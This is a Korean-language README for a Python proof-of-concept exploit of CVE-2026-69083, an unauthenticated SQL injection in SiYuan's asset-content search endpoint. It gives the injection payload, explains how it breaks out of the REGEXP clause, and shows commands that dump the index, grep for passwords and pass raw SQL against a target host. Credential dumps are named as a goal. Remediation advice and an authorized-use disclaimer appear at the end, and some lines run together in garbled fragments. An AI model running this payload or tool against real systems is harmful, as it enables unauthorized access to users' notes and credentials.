
CVE-2026-69083에 대한 Python PoC로, SiYuan의 asset-content 검색 엔드포인트에서 발생하는 인증되지 않은 SQL 인젝션 취약점입니다. REGEXP 우회 및 raw SQL 직접 전달을 지원하여 인덱싱된 asset과 첨부된 SQLite 데이터를 덤프할 수 있습니다.
SiYuan(Go 기반 지식 베이스 앱)의 asset-content 검색 엔드포인트를 통한 인증되지 않은 SQL 인젝션입니다.
POST /api/search/fullTextSearchAssetContent는 사용자가 제어하는 query 값을 이스케이프 없이 REGEXP 절에 직접 연결하여 원시 SQL 문을 구성합니다 (kernel/model/asset_content.go, assetContentFieldRegexp):
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
query의 작은따옴표는 문자열 리터럴을 벗어나게 합니다 (CWE-89). SiYuan이 access-auth 코드 없이 배포된 경우 (Conf.AccessAuthCode == ""), 커널 전체가 호출자를 자격 증명 없이 관리자로 간주하므로 이 인젝션은 완전히 인증되지 않은 상태로 동작합니다. method:3은 REGEXP 탈출 방식이고, method:2는 추가로 query를 원시 SQL 문으로 전달합니다.
< 3.7.36806 (accessAuthCode가 설정되지 않으면 인증 없이 접근 가능)ATTACH DATABASE) — 예: 운영자가 노트에 인덱싱한 자격 증명 덤프Python 3 표준 라이브러리만 필요 — 의존성 없음.
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/
# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password
# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
기본 페이로드는 다음과 같습니다:
query = "zzqx') OR 1=1 -- "
zzqx')는 (name REGEXP '...' 그룹을 닫습니다.OR 1=1은 WHERE 절을 항상 참으로 만듭니다.-- 는 나머지 줄을 주석 처리하며, 뒤따르는 AND ext IN <types>도 포함됩니다 — 그렇지 않으면 types가 비어 있을 때 구문 오류가 되는 부분입니다 (SiYuan은 뒤에 아무것도 없는 AND ext IN 을 출력하고, 커널은 SQL 오류 시 조용히 행을 반환하지 않습니다).그런 다음 엔드포인트는 asset-content 인덱스의 모든 행을 반환하며, 이 도구는 각 행의 content를 출력합니다.
curl -s http://10.10.10.10:6806/system_stats # or browse http://10.10.10.10:6806/ (no login prompt)
포트 6806에서 access-auth 코드 없이 로드되는 SiYuan 인스턴스는 공격 가능합니다.
... REGEXP ?)를 매개변수화하고 method-2 원시 SQL 경로를 관리자 확인 뒤에 둡니다.--accessAuthCode와 함께 SiYuan을 실행하세요; 인증되지 않은 상태로 노출하지 마세요 — access-auth 코드가 없으면 전체 커널 API가 관리자에게 개방됩니다.승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유했거나 테스트에 대한 명시적 허가를 받은 시스템에만 사용하십시오.